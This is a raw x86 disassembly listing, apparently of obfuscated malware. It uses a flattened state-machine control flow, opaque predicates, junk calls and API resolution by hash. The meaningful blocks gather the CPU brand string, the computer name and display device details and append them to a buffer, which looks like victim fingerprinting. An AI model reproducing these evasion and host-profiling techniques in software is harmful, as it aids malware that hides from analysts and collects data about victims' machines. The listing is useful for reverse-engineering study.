mov eax, dword [esi + 0x8c]
mov byte [eax + 0xd], 0
mov dword [esi], 0xa141c1ec
jmp 0x433317
mov eax, dword [esi + 0x68]
mov byte [eax + 0xf], 0
push 0xf
push 0x46f4dc
push dword [esi + 0x68]
call fcn.004409a0
add esp, 0xc
mov dword [esi], 0x1b9c2852
jmp 0x433317
mov eax, dword [esi + 8]
shr eax, 0x12
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4503
dec edx
add eax, 0xffffff4c
shr eax, 7
mov dword [esi + 8], eax
mov eax, 0x7590f0fe
cmp edx, ecx
je 0x43836e
mov eax, 0x74b82696
jmp 0x43836e
mov ecx, dword [esi + 4]
shr ecx, 1
and ecx, 0xfffff
mov dword [esi + 4], ecx
mov eax, 0x896a37df
cmp ecx, 0x6a
jb 0x43836e
mov eax, 0xf4d683d7
jmp 0x43836e
imul edi, dword [esi + 4], 0xae
mov ebx, edi
shr ebx, 2
mov dword [esi + 4], ebx
push 0x3b96
push ebx
push 0x4d10
push 0x12b3
call fcn.004384b0
add esp, 0x10
push ebx
push 0x1eb
push 0x2b26
call fcn.0042448a
add esp, 0xc
mov eax, 0x6d1dd2ca
cmp edi, 0x204
jb 0x438402
mov eax, 0xd9c3e8f0
jmp 0x438402
mov dword [esi], 0xbd4ff6ac
jmp 0x433317
push 0x18
push 0x465c50
push dword [esi + 0xd4]
call fcn.004409a0
add esp, 0xc
mov dword [esi], 0x36c848d1
jmp 0x433317
xor eax, eax
mov dword [esi + 4], eax
push 0x3da6
push 0x4a51
push 0x5f68
push eax
call fcn.004384b0
add esp, 0x10
mov dword [esi], 0xa30b2c58
jmp 0x433317
imul edi, dword [esi + 4], 0xda
add edi, 0xffff9fc6
mov dword [esi + 4], edi
push 0x12a
push 0x1352
push edi
push 0x3da
call fcn.004384b0
add esp, 0x10
push 0x4648
push edi
push 0x96b
call fcn.0042448a
add esp, 0xc
mov eax, 0xf884d28d
cmp edi, 0x89
jb 0x43836e
mov eax, 0x7f31619f
jmp 0x43836e
imul eax, dword [esi + 4], 0x8040000
mov dword [esi + 4], eax
push eax
call fcn.00433300
add esp, 4
call fcn.00407d26
mov dword [esi], 0xac4128e7
jmp 0x433317
imul edi, dword [esi + 4], 0x54
add edi, 0xffff8dd0
mov dword [esi + 4], edi
call fcn.00407d26
push 0x395e
push 0xabf
push edi
push 0x1584
call fcn.004384b0
add esp, 0x10
mov eax, 0x15fa78a4
cmp edi, 0x3c
jge 0x43836e
mov eax, 0xf59aa411
jmp 0x43836e
push 7
push 0x46f617
push 0xc
push dword [esi + 0xd0]
call fcn.00438550
add esp, 0x10
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0xd0]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi], 0x1b484b2e
jmp 0x433317
mov eax, dword [esi + 4]
lea ecx, [eax + eax*4]
shl ecx, 0x11
add ecx, 0x314e000
mov dword [esi + 4], ecx
mov eax, 0x74b82696
cmp ecx, 0x70
jge 0x438402
mov eax, 0xe49f780e
jmp 0x438402
mov eax, dword [esi + 4]
lea eax, [eax*4 - 0x15d]
mov dword [esi + 4], eax
push eax
call fcn.00433300
add esp, 4
mov dword [esi], 0x24f64721
jmp 0x433317
push 0xa
push dword [esi + 0xe4]
push dword [esi + 0x120]
call fcn.0044a30c
add esp, 0xc
push 1
push 0x4000
call fcn.0044bd43
add esp, 8
mov dword [esi + 0xc], eax
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x124], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x68], eax
mov dword [esi], 0xc02aa3de
jmp 0x433317
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0xa0], eax
mov dword [esi + 0xa4], ebx
mov dword [esi + 0xa8], ecx
mov dword [esi + 0xac], edx
mov eax, dword [esi + 0xa4]
mov eax, dword [esi + 0xa8]
mov eax, dword [esi + 0xac]
mov eax, dword [esi + 0xa0]
mov dword [esi + 0x18c], eax
mov eax, dword [esi + 0xa8]
mov eax, dword [esi + 0xac]
mov eax, dword [esi + 0xa0]
mov eax, dword [esi + 0xa4]
mov dword [esi + 0x190], eax
mov dword [esi], 0xd2823ab7
jmp 0x433317
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x18c]
mov dword [eax], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x190]
mov dword [eax + 4], ecx
mov eax, dword [esi + 0x10]
add eax, 8
mov dword [esi + 0x19c], eax
mov dword [esi], 0x4f3bd559
jmp 0x433317
mov edi, dword [esi + 4]
mov eax, 0xffffff66
add edi, eax
mov dword [esi + 4], edi
call fcn.00407d26
push 0x5aed
push 0x1841
push edi
push 0x390
call fcn.00438550
add esp, 0x10
mov eax, 0x719fe0ff
cmp edi, 0xaa
je 0x43836e
mov eax, 0xd6d9a043
jmp 0x43836e
mov eax, dword [esi + 4]
shr eax, 2
and eax, 0x1fffff
imul edi, eax, 0x4a
add edi, 0xffffffc4
mov dword [esi + 4], edi
push 0x303b
push 0x3f22
push edi
push 0x19d4
call fcn.00438550
add esp, 0x10
mov eax, 0xe5444044
cmp edi, 0x9f
jae 0x438402
mov eax, 0x54c5384c
jmp 0x438402
mov edi, dword [esi + 4]
shl edi, 0xe
add edi, 0xffddc000
shr edi, 0x12
mov dword [esi + 4], edi
push 0x478d
push edi
push 0x62f4
push 0x8cf
call fcn.004384b0
add esp, 0x10
push 0x1d31
push 0x5703
push edi
push 0x554a
call fcn.00438550
add esp, 0x10
mov eax, 0x6d1dd2ca
cmp edi, 0x18
je 0x43836e
mov eax, 0x1adb96c9
jmp 0x43836e
push dword [esi + 0x2c]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
mov dword [esi], 0x673f437d
jmp 0x433317
imul eax, dword [esi + 8], 0xd800000
add eax, 0x13b000d3
mov dword [esi + 8], eax
mov dword [esi], 0xaff9186a
jmp 0x433317
mov eax, dword [esi + 0xac]
mov eax, dword [esi + 0xa0]
mov eax, dword [esi + 0xa4]
mov eax, dword [esi + 0xa8]
mov dword [esi + 0x194], eax
mov eax, dword [esi + 0xa0]
mov eax, dword [esi + 0xa4]
mov eax, dword [esi + 0xa8]
mov eax, dword [esi + 0xac]
mov dword [esi + 0x198], eax
mov dword [esi], 0xeb070364
jmp 0x433317
mov dword [esi], 0xfe9cbc93
jmp 0x433317
mov eax, dword [esi + 8]
shr eax, 0xc
mov ecx, eax
imul ecx, eax
add eax, 0x7c
imul edx, ecx, 0x7da7
dec edx
shr eax, 0xc
add eax, 0x1a
mov dword [esi + 8], eax
mov eax, 0x222ed80b
cmp ecx, edx
je 0x43836e
mov eax, 0xe680363f
jmp 0x43836e
push 6
push 0x46f4eb
push 0xf
push dword [esi + 0x68]
call fcn.00438550
add esp, 0x10
mov eax, dword [esi + 0x124]
mov ecx, dword [esi + 0x68]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x128], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x6c], eax
mov dword [esi], 0x1f64fb16
jmp 0x433317
mov ecx, dword [esi + 4]
mov eax, ecx
shr eax, 0x1a
mov dword [esi + 4], eax
mov eax, 0xfca43b8f
cmp ecx, 0x8c000000
jb 0x438402
mov eax, 0xba6311c4
jmp 0x438402
mov dword [esi], 0xa2289e00
jmp 0x433317
mov dword [esi + 0x14], 0x100
lea eax, [esi + 0x14]
push eax
lea eax, [esi + 0x208]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi], 0xce7ace38
jmp 0x433317
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x60], eax
mov dword [esi], 0xe57461c3
jmp 0x433317
mov eax, dword [esi + 0x58]
mov dword [eax], 0xa424d
push dword [esi + 0x58]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
mov eax, dword [esi + 0x5c]
mov dword [esi], 0xbb71be43
jmp 0x433317
mov eax, dword [esi + 4]
lea eax, [eax + eax*8]
shl eax, 4
add eax, 0x1b13
mov ecx, eax
shr ecx, 7
add ecx, 0xffffff47
mov dword [esi + 4], ecx
mov ecx, 0x959ee4ba
cmp eax, 0xa100
jb 0x438246
mov ecx, 0xc805c99
jmp 0x438246
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x74], eax
mov dword [esi], 0xf0558411
jmp 0x433317
imul eax, dword [esi + 8], 0x3ac00000
add eax, 0xffffbe00
and eax, 0xffff8000
lea eax, [eax + eax*4]
add eax, 0xfffffe7a
mov dword [esi + 8], eax
mov dword [esi], 0x2b64cc5d
jmp 0x433317
mov dword [esi + 4], 0
mov dword [esi], 0x2cb551f6
jmp 0x433317
mov edi, dword [esi + 4]
add edi, 0xffffffd7
mov dword [esi + 4], edi
push 0x2c14
push 0x3e71
push edi
push 0x2a1b
call fcn.00438550
add esp, 0x10
mov eax, 0x86f9a22e
cmp edi, 0xb7
jae 0x43836e
mov eax, 0xe2af09d8
jmp 0x43836e
mov eax, dword [esi + 8]
shr eax, 5
add eax, 0x28
imul ecx, eax, 0x27b0
imul eax, eax
imul edx, eax, 0x480d
dec edx
shr ecx, 7
mov dword [esi + 8], ecx
mov ecx, 0x1adb96c9
cmp edx, eax
je 0x4381ca
mov ecx, 0x1d8ef52a
jmp 0x4381ca
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x150], eax
mov dword [esi], 0xe112a8d8
jmp 0x433317
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x1cc], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1c0]
mov dword [eax + 0x20], ecx
mov eax, dword [esi + 0x10]
add eax, 0x24
mov dword [esi + 0x1d0], eax
mov dword [esi], 0xa01a6a88
jmp 0x433317
mov eax, dword [esi + 0x58]
mov dword [esi], 0x6481c9f3
jmp 0x433317
imul eax, dword [esi + 8], 0x2380
add eax, 0x4174
shr eax, 2
imul eax, eax, 0x6b
mov dword [esi + 8], eax
mov dword [esi], 0xedd65c39
jmp 0x433317
mov dword [esi + 0x14], 0x100
mov dword [esi], 0x9dfccdd7
jmp 0x433317
mov eax, dword [esi + 4]
shr eax, 8
imul ecx, eax, 0x1f40
add ecx, 0xfffffee5
mov dword [esi + 4], ecx
mov eax, 0xddae6694
cmp ecx, 0x98
jge 0x438402
mov eax, 0x1adb96c9
jmp 0x438402
mov dword [esi], 0x15fa78a4
jmp 0x433317
mov edi, dword [esi + 4]
shl edi, 8
add edi, 0x16800
mov eax, edi
shr eax, 9
mov dword [esi + 4], eax
push eax
call fcn.00433300
add esp, 4
mov eax, 0xd00f3da3
cmp edi, 0xee00
jb 0x43836e
mov eax, 0x5ab416d0
jmp 0x43836e
mov eax, dword [esi + 0x13c]
xor ecx, ecx
mov byte [eax], cl
mov edi, 0xf
push edi
push 0x46f500
push dword [esi + 0x70]
call fcn.004409a0
add esp, 0xc
push 5
push 0x46f50f
push edi
push dword [esi + 0x70]
call fcn.00438550
add esp, 0x10
mov eax, dword [esi + 0x138]
mov ecx, dword [esi + 0x70]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push str.ZghGYi__Pdftest
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
mov dword [esi + 0x10c], eax
mov ebx, dword [esi + 0xc]
push eax
mov edi, esp
xor eax, eax
mov byte [edi + 2], al
movzx eax, word [str.w__]
mov word [edi], ax
mov eax, 2
push eax
push 0x46f516
push eax
push edi
call fcn.00438550
add esp, 0x10
mov al, byte [edi + 2]
mov ecx, dword [esi + 0x10c]
mov byte [ebx + ecx + 2], al
movzx eax, word [edi]
mov word [ebx + ecx], ax
push 1
push 0x8000
call fcn.0044bd43
add esp, 8
mov dword [esi + 0xe8], eax
mov dword [esi], 0x826ee42d
jmp 0x433317
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x11]
imul eax, eax
imul edx, eax, 0x4159
dec edx
imul ecx, ecx, 0x3c8000
add ecx, 0x11f60000
mov dword [esi + 8], ecx
mov ecx, 0xa16d3975
cmp eax, edx
je 0x4381ca
mov ecx, 0xe2e8a630
jmp 0x4381ca
push eax
sub esp, 8
mov edi, esp
mov byte [edi + 0xa], 0
movzx eax, word [0x46f53a]
mov word [edi + 8], ax
mov eax, dword [0x46f536]
mov dword [edi + 4], eax
mov eax, dword [0x46f532]
mov dword [edi], eax
push 5
push 0x46f53c
push 0xa
push edi
call fcn.00438550
add esp, 0x10
mov eax, dword [edi + 7]
mov dword [esi + 0x203], eax
mov eax, dword [edi]
mov ecx, dword [edi + 4]
mov dword [esi + 0x200], ecx
mov dword [esi + 0x1fc], eax
mov dword [esi], 0xb3ca34d2
jmp 0x433317
mov eax, dword [esi + 4]
mov ecx, 0xff
add eax, ecx
shr eax, 6
imul edi, eax, 0x16c00
mov dword [esi + 4], edi
push 0x444d
push edi
push 0x5660
push 0x50be
call fcn.004384b0
add esp, 0x10
mov eax, 0xf44ecfb2
test edi, edi
je 0x438402
mov eax, 0xf562b189
jmp 0x438402
mov eax, dword [esi + 4]
shr eax, 4
imul eax, eax, 0x54000
mov dword [esi + 4], eax
call fcn.00407d26
mov dword [esi], 0x44c10536
jmp 0x433317
mov dword [esi], 0xd35847e5
jmp 0x433317
mov dword [esi], 0xba19f14a
jmp 0x433317
imul eax, dword [esi + 8], 0xb0
add eax, 0xffffee8c
mov dword [esi + 8], eax
mov dword [esi], 0xbf762f50
jmp 0x433317
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x58]
mov eax, dword [esi + 0x54]
mov eax, dword [esi + 0x20]
mov eax, dword [esi + 0x50]
mov eax, dword [esi + 0x1c]
mov dword [esi], 0xfee0ed44
jmp 0x433317
mov eax, dword [esi + 4]
shr eax, 0xb
add eax, 0x1af
mov dword [esi + 4], eax
push 0x3415
push 0xd65
push 0x62ee
push eax
call fcn.00438550
add esp, 0x10
mov dword [esi], 0xa1a452a5
jmp 0x433317
mov eax, dword [esi + 0x1cc]
mov ecx, dword [esi + 0x1d4]
mov dword [ecx], eax
mov eax, dword [esi + 0x4c]
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xd0], eax
mov dword [esi], 0x579967ae
jmp 0x433317
mov edi, dword [esi + 4]
add edi, 0x36
mov ebx, edi
shr ebx, 2
add ebx, 0xfffffec4
mov dword [esi + 4], ebx
push 0x5120
push ebx
push 0x9cf
push 0x954
call fcn.004384b0
add esp, 0x10
push 0x1ff7
push ebx
push 0x5a56
push 0x4fa0
call fcn.00438550
add esp, 0x10
mov eax, 0xd914716f
cmp edi, 0x8c4
jae 0x43836e
mov eax, 0xa7949b7e
jmp 0x43836e
mov edi, dword [esi + 4]
shl edi, 6
add edi, 0x46000
mov ebx, 0x630b484b
and edi, 0xffffe000
mov dword [esi + 4], edi
je 0x436ba7
mov ebx, 0xb6a34bc2
push 0x234d
push edi
push 0x19d
push 0x2325
call fcn.004384b0
add esp, 0x10
push edi
call fcn.00433300
add esp, 4
mov dword [esi], ebx
jmp 0x433317
shl dword [esi + 4], 0x14
mov dword [esi], 0x9cc835ea
jmp 0x433317
mov dword [esi], 0x475d0cae
jmp 0x433317
imul eax, dword [esi + 4], 0x5d8
add eax, 0x127a
mov dword [esi + 4], eax
push 0x4b7e
push eax
push 0x189f
call fcn.0042448a
add esp, 0xc
mov dword [esi], 0x6d1dd2ca
jmp 0x433317
mov eax, dword [esi + 0x44]
mov dword [esi], 0xb8fc25e5
jmp 0x433317
mov edi, dword [esi + 4]
shr edi, 2
and edi, 0x1ffff
mov dword [esi + 4], edi
push edi
call fcn.00433300
add esp, 4
push 0xe5f
push edi
push 0x2ac2
push 0x2f7d
call fcn.00438550
add esp, 0x10
mov eax, 0xa1a452a5
cmp edi, 0xb7
je 0x438402
mov eax, 0xf44ecfb2
jmp 0x438402
mov edi, dword [esi + 4]
mov eax, 0xd2
add edi, eax
mov ebx, edi
shr ebx, 0xa
mov dword [esi + 4], ebx
call fcn.00407d26
push 0xaff
push 0x104f
push ebx
call fcn.0042448a
add esp, 0xc
mov eax, 0x4e4af96b
cmp edi, 0x2c00
jb 0x438402
mov eax, 0x3825f49b
jmp 0x438402
mov dword [esi], 0xb6a34bc2
jmp 0x433317
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
mov eax, dword [esi + 0x24]
mov dword [esi], 0x8390bd74
jmp 0x433317
mov dword [esi], 0xa8be00b9
jmp 0x433317
mov eax, dword [esi + 8]
shr eax, 2
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x6e67
dec edx
add eax, 0xc8
mov dword [esi + 8], eax
mov eax, 0x6b406907
cmp edx, ecx
je 0x43836e
mov eax, 0x850da2bb
jmp 0x43836e
push 1
push 0x800
call fcn.0044bd43
add esp, 8
mov dword [esi + 0xf0], eax
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 8]
mov dword [esi + 0x164], eax
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [esi + 0x168], eax
mov dword [esi], 0x64f6c2e5
jmp 0x433317
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x40], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x44], eax
mov dword [esi], 0x8410c221
jmp 0x433317
mov dword [esi], 0x2e3110c5
jmp 0x433317
imul edi, dword [esi + 4], 0xdb68
shr edi, 3
and edi, 0x1fffff00
add edi, 0xfffffff4
mov dword [esi + 4], edi
call fcn.00407d26
push 0x2235
push 0x359d
push edi
push 0x3e73
call fcn.00438550
add esp, 0x10
mov dword [esi], 0xe112a8d8
jmp 0x433317
mov edi, dword [esi + 4]
add edi, 0xffffff9e
mov ebx, edi
shr ebx, 4
add ebx, 0xfffffffe
mov dword [esi + 4], ebx
push 0x50df
push 0x226
push ebx
call fcn.0042448a
add esp, 0xc
push ebx
push 0x2be7
push 0x2e14
call fcn.0042448a
add esp, 0xc
mov eax, 0x92472d11
cmp edi, 0x5e0
jae 0x43836e
mov eax, 0x2e3110c5
jmp 0x43836e
mov ecx, dword [esi + 4]
mov eax, 0xffffff29
add ecx, eax
mov dword [esi + 4], ecx
mov eax, 0x74b82696
cmp ecx, 0x39
jge 0x438402
mov eax, 0xc3c216ce
jmp 0x438402
mov eax, dword [esi + 0x198]
mov ecx, dword [esi + 0x1a0]
mov dword [ecx], eax
mov eax, 0x80000003
xor ecx, ecx
cpuid
mov dword [esi + 0xb0], eax
mov dword [esi + 0xb4], ebx
mov dword [esi + 0xb8], ecx
mov dword [esi + 0xbc], edx
mov dword [esi], 0xc7289447
jmp 0x433317
imul edi, dword [esi + 4], 0x890000
add edi, 0xfffffff6
mov ebx, edi
shr ebx, 0xe
mov dword [esi + 4], ebx
push 0x2425
push ebx
push 0x2c43
push 0x40e6
call fcn.004384b0
add esp, 0x10
push ebx
push 0x2ba1
push 0x1d1c
call fcn.0042448a
add esp, 0xc
mov eax, 0x41e179c3
cmp edi, 0x1d4000
jae 0x43836e
mov eax, 0x6f32ba4
jmp 0x43836e
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 9
lea eax, [ecx + eax*4]
add eax, 0xffff8058
mov dword [esi + 4], eax
mov dword [esi], 0x4e4af96b
jmp 0x433317
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x22]
imul eax, eax
imul edx, eax, 0x6c6d
shl ecx, 0xb
add ecx, 0xfffb4000
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xb1520a45
cmp eax, edx
je 0x4381ca
mov ecx, 0x15a09b8c
jmp 0x4381ca
mov eax, dword [esi + 8]
shr eax, 6
and eax, 0xffffffc0
imul eax, eax, 0x45
add eax, 0xffffff44
shr eax, 2
mov dword [esi + 8], eax
mov dword [esi], 0xed1b63f6
jmp 0x433317
mov dword [esi], 0xc506f8ea
jmp 0x433317
mov edi, dword [esi + 4]
shl edi, 4
add edi, 0xfffff990
mov dword [esi + 4], edi
push 0x7a7
push edi
push 0x4290
push 0x119a
call fcn.004384b0
add esp, 0x10
call fcn.00407d26
mov eax, 0x6a332555
cmp edi, 0x31
jae 0x438402
mov eax, 0x7f31619f
jmp 0x438402
imul eax, dword [esi + 8], 0x90000000
shr eax, 0xe
xor eax, 0x20000
add eax, 0xffffff13
mov dword [esi + 8], eax
mov dword [esi], 0xd88ce2bb
jmp 0x433317
mov eax, dword [esi + 8]
shl eax, 0xa
add eax, 0xffffffaa
shr eax, 2
mov dword [esi + 8], eax
mov dword [esi], 0x3f742007
jmp 0x433317
mov eax, dword [esi + 0x2c]
mov dword [esi], 0x229630c
jmp 0x433317
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
mov dword [esi + 0x134], eax
mov dword [esi], 0xede0b7b1
jmp 0x433317
xor eax, eax
push eax
push dword [esi + 0x1c]
push eax
push eax
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov eax, dword [esi + 0x50]
mov dword [esi], 0x9846d7b
jmp 0x433317
mov eax, dword [esi + 0x118]
mov word [eax], 0
push 0x14
push 0x465b80
push dword [esi + 0x60]
call fcn.004409a0
add esp, 0xc
push 5
push 0x465b94
push 0xa
push dword [esi + 0x60]
call fcn.004384b0
add esp, 0x10
push dword [esi + 0x60]
push 0x3d95e230
call fcn.0043b928
add esp, 8
push 0
call eax
mov dword [esi + 0x11c], eax
mov dword [esi], 0x8eaab81d
jmp 0x433317
imul edi, dword [esi + 4], 0xad22
add edi, 0xfff66289
mov dword [esi + 4], edi
call fcn.00407d26
push 0x44b5
push 0x20b1
push edi
call fcn.0042448a
add esp, 0xc
mov eax, 0x579704
cmp edi, 0x79
je 0x438402
mov eax, 0xe57461c3
jmp 0x438402
mov dword [esi + 0x14], 0x100
mov dword [esi], 0x94fbdada
jmp 0x433317
mov eax, dword [esi + 0x1ac]
mov ecx, dword [esi + 0x1bc]
mov dword [ecx], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1b0]
mov dword [eax + 0x1c], ecx
mov eax, 0x80000004
xor ecx, ecx
cpuid
mov dword [esi + 0xc0], eax
mov dword [esi + 0xc4], ebx
mov dword [esi + 0xc8], ecx
mov dword [esi + 0xcc], edx
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xc0]
mov dword [esi + 0x1c0], eax
mov dword [esi], 0xc7f149d1
jmp 0x433317
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xb0]
mov ecx, dword [esi + 0xb4]
mov dword [esi + 0x1a4], eax
mov dword [esi], 0x1078dc1c
jmp 0x433317
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x84]
mov byte [eax + 0x1b], 0
mov dword [esi], 0x516304b9
jmp 0x433317
mov ecx, dword [esi + 8]
shr ecx, 0xd
imul eax, ecx, 0xa7
imul eax, eax
imul edx, eax, 0x30e7
imul ecx, ecx, 0x29c00
dec edx
add ecx, 0x1ef42
mov dword [esi + 8], ecx
mov ecx, 0x7d607d0
cmp eax, edx
je 0x4381ca
mov ecx, 0x87978f14
jmp 0x4381ca
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xdc], eax
mov dword [esi], 0x2eac4378
jmp 0x433317
mov dword [esi], 0x3825f49b
jmp 0x433317
mov dword [esi], 0x3b0a7754
jmp 0x433317
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x184]
mov dword [esi + 0x188], eax
mov dword [esi], 0x8e6e61a8
jmp 0x433317
mov eax, dword [esi + 4]
shr eax, 0xa
add eax, 0xfffffff5
shr eax, 0xf
imul ecx, eax, 0xcbc4
mov dword [esi + 4], ecx
mov eax, 0xa7949b7e
cmp ecx, 0xbd
jb 0x43836e
mov eax, 0x959ee4ba
jmp 0x43836e
push dword [esi + 0x10]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x1c]
mov dword [esi], 0x2e8f3ae5
jmp 0x433317
mov eax, dword [esi + 4]
shr eax, 1
and eax, 0x3ffff
add eax, 0xffffff79
mov ecx, eax
shr ecx, 4
mov dword [esi + 4], ecx
mov ecx, 0xff0f7585
cmp eax, 0x5a0
jb 0x4381ca
mov ecx, 0x1adb96c9
jmp 0x4381ca
mov eax, dword [esi + 0x174]
mov byte [eax], 0
mov eax, dword [esi + 0x90]
movzx ecx, word [0x46f5c9]
mov word [eax + 0xc], cx
mov ecx, dword [0x46f5c5]
mov dword [eax + 8], ecx
mov ecx, dword [0x46f5c1]
mov dword [eax + 4], ecx
mov ecx, dword [0x46f5bd]
mov dword [eax], ecx
push 6
push 0x46f5cb
push 0xe
push dword [esi + 0x90]
call fcn.00438550
add esp, 0x10
mov dword [esi], 0x323e6350
jmp 0x433317
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 5
imul eax, eax
imul edx, eax, 0x21a5
dec edx
shr ecx, 0x10
mov dword [esi + 8], ecx
mov ecx, 0xa4597235
cmp eax, edx
je 0x4381ca
mov ecx, 0x4e4af96b
jmp 0x4381ca
imul eax, dword [esi + 8], 0x440
add eax, 0x1af8
mov dword [esi + 8], eax
mov dword [esi], 0x8509b7d8
jmp 0x433317
lea eax, [esi + 0x1fc]
push eax
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
lea eax, [esi + 0x208]
push eax
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
mov dword [esi], 0x4d3b7e04
jmp 0x433317
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 5
lea ecx, [ecx + eax*2]
add ecx, 0xfffffe6f
mov dword [esi + 4], ecx
mov eax, 0xf7292251
cmp ecx, 0x39
jge 0x43836e
mov eax, 0xd57c854
jmp 0x43836e
mov edi, dword [esi + 4]
shl edi, 0x10
mov dword [esi + 4], edi
push 0x18e2
push edi
push 0x56cf
push 0x4335
call fcn.004384b0
add esp, 0x10
push edi
push 0x14d7
push 0x62db
call fcn.0042448a
add esp, 0xc
mov eax, 0x86f9a22e
test edi, edi
je 0x43836e
mov eax, 0x18d9f315
jmp 0x43836e
mov dword [esi], 0x58d7c070
jmp 0x433317
imul eax, dword [esi + 8], 0x3e70
add eax, 0xffff70a0
mov dword [esi + 8], eax
mov dword [esi], 0x959ee4ba
jmp 0x433317
movzx eax, word [esi + 6]
imul edi, eax, 0x420
mov dword [esi + 4], edi
push edi
push 0x3ddb
push 0x26d8
push 0x399d
call fcn.00438550
add esp, 0x10
mov eax, 0x3354f554
cmp edi, 0x7f
jb 0x438402
mov eax, 0x475d0cae
jmp 0x438402
mov edi, dword [esi + 4]
shl edi, 6
add edi, 0x664
mov dword [esi + 4], edi
push edi
call fcn.00433300
add esp, 4
mov eax, 0xcad77578
cmp edi, 0xa4
jge 0x438402
mov eax, 0xf1b89798
jmp 0x438402
mov ecx, dword [esi + 4]
shl ecx, 0xe
add ecx, 0x1fc000
mov dword [esi + 4], ecx
mov eax, 0x1401a1cc
cmp ecx, 0xc
jge 0x43836e
mov eax, 0x26f04997
jmp 0x43836e
mov edi, dword [esi + 4]
add edi, 0x2b
mov ebx, edi
shr ebx, 7
add ebx, 0xfffffff3
mov dword [esi + 4], ebx
push 0x3c96
push 0x2084
push ebx
call fcn.0042448a
add esp, 0xc
push ebx
call fcn.00433300
add esp, 4
mov eax, 0xbf762f50
cmp edi, 0x4000
jb 0x438369
jmp 0x43836e
mov eax, dword [esi + 0x178]
mov word [eax], 0xa
mov dword [esi], 0x188fec6
jmp 0x433317
push 1
mov edi, 0x55
push edi
call fcn.0044bd43
add esp, 8
mov dword [esi + 0xf8], eax
push edi
push dword [esi + 0xf4]
push dword [esi + 0xf8]
call fcn.00450bd6
add esp, 0xc
mov eax, dword [esi + 0x48]
mov dword [esi], 0xc45b011c
jmp 0x433317
push 8
push 0x46f63d
push 0x1d
push dword [esi + 0xd8]
call fcn.00438550
add esp, 0x10
mov dword [esi], 0xd40c2a9b
jmp 0x433317
mov eax, dword [esi + 0xd8]
mov byte [eax + 0x1d], 0
push 0x1d
push 0x46f620
push dword [esi + 0xd8]
call fcn.004409a0
add esp, 0xc
mov dword [esi], 0xd426a01b
jmp 0x433317
imul edi, dword [esi + 4], 0x485d0000
add edi, 0xfffffecf
mov dword [esi + 4], edi
push 0x5639
push edi
push 0x1a5b
call fcn.0042448a
add esp, 0xc
push edi
call fcn.00433300
add esp, 4
mov dword [esi], 0x7b829d7e
jmp 0x433317
push dword [esi + 0x1d8]
push dword [esi + 0xc]
call fcn.0044d030
add esp, 8
push dword [esi + 0xc]
call fcn.0044d210
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x1dc], eax
mov dword [esi], 0x3478b7e1
